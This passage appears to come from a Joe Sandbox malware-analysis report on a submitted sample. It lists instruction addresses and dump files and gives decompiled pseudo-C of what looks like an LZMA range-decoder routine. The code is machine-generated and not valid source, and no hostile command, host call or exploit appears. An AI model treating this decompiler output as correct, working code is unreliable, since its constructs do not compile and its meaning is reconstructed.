0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406977
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x0040698e
0x00000000
0x00000000
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x0040700d
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x0040700d
0x0040700d
0x00000000
0x00407013
0x0040700d
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x00000000
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x0040700d
0x00406f94
0x00406f91
0x00000000
0x00406bc8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a790c0330ad62cbb347795bf86deb23ec280a471c33d2e26a689dec21b6fd0bb
Instruction ID: 28a04b8f37ec13448d59bb684de8c36190a5ca9e173ef22aca7ace3c2f707fcc
Opcode Fuzzy Hash: a790c0330ad62cbb347795bf86deb23ec280a471c33d2e26a689dec21b6fd0bb
Instruction Fuzzy Hash: F2713471D04229CFDF28CF98C8447ADBBB1FB48305F15806AD846BB281C7386996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406CE2 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406CE2() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc("true", 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc("true",  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
